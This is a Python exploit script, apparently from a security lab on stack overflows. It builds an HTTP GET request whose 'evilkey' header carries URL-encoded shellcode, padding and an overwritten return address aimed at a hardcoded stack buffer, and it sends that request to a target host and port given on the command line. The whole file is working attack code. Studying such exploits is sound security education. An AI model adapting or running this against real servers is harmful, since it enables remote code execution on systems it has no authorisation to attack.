exploit-template2.py

#!/usr/bin/env python3
import sys
import socket
import traceback
from urllib.parse import quote_from_bytes
import struct

stack_buffer = 0x7ffc341a7700  # value[0]
stack_retaddr = 0x7ffc341a7938  # rip

def build_exploit(shellcode, keylen):
    """
    Build the HTTP request that will trigger the vulnerability
    and inject the shellcode at the buffer's return address.
    """
    req = b'GET / HTTP/1.0\r\n'
    req += b'evilkey: '
    req += quote_from_bytes(shellcode).encode('ascii')
    req += b'A' * (stack_retaddr - stack_buffer - len(shellcode)) #568
    req += struct.pack("<Q", stack_buffer)
    req += b'\r\n'
    req += b'\r\n'
    return req




def send_req(host, port, req):
    """
    Send the HTTP request to the server.
    host: hostname or IP address of the server
    port: port number of the server
    req: the HTTP request to send
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print("Connecting to %s:%d..." % (host, port))
    sock.connect((host, port))

    print("Connected, sending request...")
    # sock.send(req)
    sock.send(req)
    print("Request sent, waiting for reply...")
    rbuf = sock.recv(1024)
    resp = b""

    while len(rbuf):
        resp = resp + rbuf
        rbuf = sock.recv(1024)

    print("Received reply.")
    sock.close()
    return resp


def main():
    keylen = 20
    if len(sys.argv) < 3:
        print("Usage: " + sys.argv[0] + " host port")
        exit()
    if len(sys.argv) == 4:
        keylen = int(sys.argv[3])

    try:
        shellfile = open("shellcode.bin", "rb")
        shellcode = shellfile.read()
        req = build_exploit(shellcode, keylen)
        print("HTTP request:")
        print(req)
        print("request length:")
        print(len(req))
        print("shellcode length:")
        print(len(shellcode))

        resp = send_req(sys.argv[1], int(sys.argv[2]), req)
        print("HTTP response:")
        print(resp)
    except:
        print("Exception:")
        print(traceback.format_exc())


if __name__ == "__main__":
    main()